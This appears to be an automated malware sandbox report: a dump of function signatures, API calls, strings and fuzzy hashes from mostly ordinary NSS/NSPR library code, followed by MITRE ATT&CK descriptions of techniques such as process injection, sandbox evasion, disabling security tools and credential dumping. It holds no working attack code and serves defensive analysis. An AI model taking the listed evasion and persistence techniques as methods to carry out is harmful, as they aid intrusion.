Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: 6cb9a7e085d82c043d359ad0356c9db17450020ce55fc2d646cc9d92987ee4e3
Instruction ID: 09bc20505416d6a196d1c339925d6f4f3a94c64ac00ad2ba6b6d1cca5a2cf6f5
Opcode Fuzzy Hash: 6cb9a7e085d82c043d359ad0356c9db17450020ce55fc2d646cc9d92987ee4e3
Instruction Fuzzy Hash: 8E018471B0616197EB005B25EC04F867764AB4674CF202035D51D97BD1E732E816CB9D

Function 6C631D50 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C631D75
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C631D89
PORT_ZAlloc_Util.NSS3(00000010), ref: 6C631D9C
free.MOZGLUE(00000000), ref: 6C631DB8

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Alloc_Util$Errorfree
String ID:
API String ID: 939066016-0
Opcode ID: b6d9f735265d89e4e9082e3e2f9960fe13a8b3509c44f7021722720ce75d3b4c
Instruction ID: a442e24122731ca9d027788c59cba165de5029cc45189016fd6b32883f24103a
Opcode Fuzzy Hash: b6d9f735265d89e4e9082e3e2f9960fe13a8b3509c44f7021722720ce75d3b4c
Instruction Fuzzy Hash: C4F049B2A0633057FF111E596C41B8732C8EB83B88F113235DD0D47B40E620E40082EE

Function 6C67FD80 Relevance: 6.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C629003,?), ref: 6C67FD91

Part of subcall function 6C680BE0: malloc.MOZGLUE(6C678D2D,?,00000000,?), ref: 6C680BF8
Part of subcall function 6C680BE0: TlsGetValue.KERNEL32(6C678D2D,?,00000000,?), ref: 6C680C15

PORT_Alloc_Util.NSS3(A4686C68,?), ref: 6C67FDA2
memcpy.VCRUNTIME140(00000000,12D068C3,A4686C68,?,?), ref: 6C67FDC4
free.MOZGLUE(00000000,?,?), ref: 6C67FDD1

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Alloc_Util$Valuefreemallocmemcpy
String ID:
API String ID: 2335489644-0
Opcode ID: 7042e3d525d76f52db9747cf0a17fa246ce63bcf81c6310117ceeb1af0007e87
Instruction ID: 22a06404f673049f775e60d5f377c0d80826e0aea2277aa8c01f3146dba0ee16
Opcode Fuzzy Hash: 7042e3d525d76f52db9747cf0a17fa246ce63bcf81c6310117ceeb1af0007e87
Instruction Fuzzy Hash: 6FF04CF16022065BEF104F54DD80C277798EF45399B208035ED0C8BB02E721D814C7FA

Function 6C73CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6C73CC61
free.MOZGLUE ref: 6C73CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6C73CC80
free.MOZGLUE(?), ref: 6C73CC87

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 5e63f5adb5c069f3c1e4701ec8b1804b8ac084d3a4fe3a93ab0dbcc0623a1644
Instruction ID: f5340395409b318c6b2f4369c0cc5d2700de1a76122ee87e0ce79da5bae60afa
Opcode Fuzzy Hash: 5e63f5adb5c069f3c1e4701ec8b1804b8ac084d3a4fe3a93ab0dbcc0623a1644
Instruction Fuzzy Hash: 73E030767006189BCA10EFA8DC4488677ACEE4D2713150575F691C3710D231F905CBE1

Function 6C619DC0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3 ref: 6C619E1F

Part of subcall function 6C5D13C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6C5A2352,?,00000000,?,?), ref: 6C5D1413
Part of subcall function 6C5D13C0: memcpy.VCRUNTIME140(00000000,R#Zl,00000002,?,?,?,?,6C5A2352,?,00000000,?,?), ref: 6C5D14C0

Strings

LIKE or GLOB pattern too complex, xrefs: 6C61A006
ESCAPE expression must be a single character, xrefs: 6C619F78

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpysqlite3_value_textstrlen
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 2453365862-264706735
Opcode ID: 3bbbe134b6fb10f932a68167d2db346b3de4a691d7cf5781af597f148b4ad2d4
Instruction ID: ce79e9e901107bf7af3bfa5d8fef4fa44ca108ca938025c11a074a2d2143d7db
Opcode Fuzzy Hash: 3bbbe134b6fb10f932a68167d2db346b3de4a691d7cf5781af597f148b4ad2d4
Instruction Fuzzy Hash: F381E675A082558FD704CF2DC0803AAB7B2AF8531EF28C659D8A98BF91D732D846C794

Function 6C674D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C674D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6C674DE6

Strings

%d.%d, xrefs: 6C674DDE

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: daa7950a21b6b9b3848c42ce5a5b903db7cba65eebee3557d84e7568e158f6fd
Instruction ID: f91f136ed08b725fd28f5437b279b2e3c91e4adf3a8848e5efb4bf76a02fe16b
Opcode Fuzzy Hash: daa7950a21b6b9b3848c42ce5a5b903db7cba65eebee3557d84e7568e158f6fd
Instruction Fuzzy Hash: E9312CB2E042186BEB209B609C05BFF77B8DF45308F150829ED559B781EB709915CBBA

Function 6C694CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3('8il,00000000,00000000,?,?,6C693827,?,00000000), ref: 6C694D0A

Part of subcall function 6C680840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6808B4

SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,00000000), ref: 6C694D22

Part of subcall function 6C67FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C621A3E,00000048,00000054), ref: 6C67FD56

Strings

'8il, xrefs: 6C694D07

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Equal_ErrorFindItemsTag_memcmp
String ID: '8il
API String ID: 1521942269-3336700206
Opcode ID: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction ID: 0ab6f495050e3a0d4f65effadb7754ec18e01454b4af55d694622a161a524295
Opcode Fuzzy Hash: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction Fuzzy Hash: 60F0687660112667EB104E6A9C80B6336DC9B417BDF140371DD38CB7E1E6A1CC0986E5

Function 6C6BAF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6C6BAF78

Part of subcall function 6C61ACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C61ACE2
Part of subcall function 6C61ACC0: malloc.MOZGLUE(00000001), ref: 6C61ACEC
Part of subcall function 6C61ACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C61AD02
Part of subcall function 6C61ACC0: TlsGetValue.KERNEL32 ref: 6C61AD3C
Part of subcall function 6C61ACC0: calloc.MOZGLUE(00000001,?), ref: 6C61AD8C
Part of subcall function 6C61ACC0: PR_Unlock.NSS3 ref: 6C61ADC0
Part of subcall function 6C61ACC0: PR_Unlock.NSS3 ref: 6C61AE8C
Part of subcall function 6C61ACC0: free.MOZGLUE(?), ref: 6C61AEAB

memcpy.VCRUNTIME140(6C783084,6C7802AC,00000090), ref: 6C6BAF94

Strings

SSL, xrefs: 6C6BAF73

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: 6672f9d279dbd42b5ce679ce670eaa6fae5be444fe9f05d9c6d8fe25092cc6a9
Instruction ID: 12891fa73c073c04cb4e06d975833e70c916b6df39a6201a7c39c3d5c1722479
Opcode Fuzzy Hash: 6672f9d279dbd42b5ce679ce670eaa6fae5be444fe9f05d9c6d8fe25092cc6a9
Instruction Fuzzy Hash: 552152B2217A48AEDA00DF59D987312BA72F7433547305138C7196FB29D7314125AFD9

Function 6C610F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6C610936,FFFFE8AE,?,6C5A16B7,00000000,?,6C610936,00000000,?,6C5A204A), ref: 6C610F1B

Part of subcall function 6C611370: GetSystemInfo.KERNEL32(?,?,?,?,6C610936,?,6C610F20,6C610936,FFFFE8AE,?,6C5A16B7,00000000,?,6C610936,00000000), ref: 6C61138F

PR_NewLogModule.NSS3(clock,6C610936,FFFFE8AE,?,6C5A16B7,00000000,?,6C610936,00000000,?,6C5A204A), ref: 6C610F25

Part of subcall function 6C611110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6C610936,00000001,00000040), ref: 6C611130
Part of subcall function 6C611110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6C610936,00000001,00000040), ref: 6C611142
Part of subcall function 6C611110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6C610936,00000001), ref: 6C611167

Strings

clock, xrefs: 6C610F20

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: fee8ce8de261af2d88e7d4ae8d4cd310c3cacbbc32239fb64d5fe5c632b6ebe8
Instruction ID: ce9527104198936bbf47e8a147292f77add485efed4f17a1fdb644e7a8dbcdfe
Opcode Fuzzy Hash: fee8ce8de261af2d88e7d4ae8d4cd310c3cacbbc32239fb64d5fe5c632b6ebe8
Instruction Fuzzy Hash: 22D0123160918455C511666F9C45B9AF6BCC7E327FF204836E20841D104F6450EAE26D

Function 6C680DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6C680DF5
TlsGetValue.KERNEL32 ref: 6C680E2D
TlsGetValue.KERNEL32 ref: 6C680E58
TlsGetValue.KERNEL32 ref: 6C680E84

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 9cb02e71cd9430c895ebee71053c73ca0a8ff02cfaa0d516a78295cb96f115db
Instruction ID: 66e7e68dda1ed1c0c0cd2d268bfadddca12f6eb74b9b4a250d8952afb69df8ba
Opcode Fuzzy Hash: 9cb02e71cd9430c895ebee71053c73ca0a8ff02cfaa0d516a78295cb96f115db
Instruction Fuzzy Hash: 1731D470647784CBDB106F3CC58829A7BB4BF0A349F114A79D89887A21DB30C096CBB9

Function 6C680F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C622AF5,?,?,?,?,?,6C620A1B,00000000), ref: 6C680F1A
malloc.MOZGLUE(00000001), ref: 6C680F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C680F42
TlsGetValue.KERNEL32 ref: 6C680F5B

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: 20a46436d8a74826df48fee85d6a14d414e174d049fdb6357052d2c611ef8bec
Instruction ID: 2aa675aa86b9e807d373d98c3cbd3fdadd4daebd0e3df3e130578686dbf7a5f0
Opcode Fuzzy Hash: 20a46436d8a74826df48fee85d6a14d414e174d049fdb6357052d2c611ef8bec
Instruction Fuzzy Hash: B80140B1E0329457E710173E9E085A27B6CEF4339AF014571ED1CC2A21D730C815C1F6

Function 6C631EB0 Relevance: 5.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6C631ECE
free.MOZGLUE(?), ref: 6C631EDF
free.MOZGLUE(?), ref: 6C631EEF
free.MOZGLUE(?), ref: 6C631EF5

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 677ed08c0950d6906eba2e3ad42883f2cd8395286ebfbb5c5288f269c4e3db9d
Instruction ID: 1bd088faa4903973159ad1fdad4e8a4b7aa92b533ad19a94a6e6e07a1924fcf4
Opcode Fuzzy Hash: 677ed08c0950d6906eba2e3ad42883f2cd8395286ebfbb5c5288f269c4e3db9d
Instruction Fuzzy Hash: 03F0E9B17001156BEB00EB65DC45D6773ACFF45296B051434EC1DC3A00D726F41187F5

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
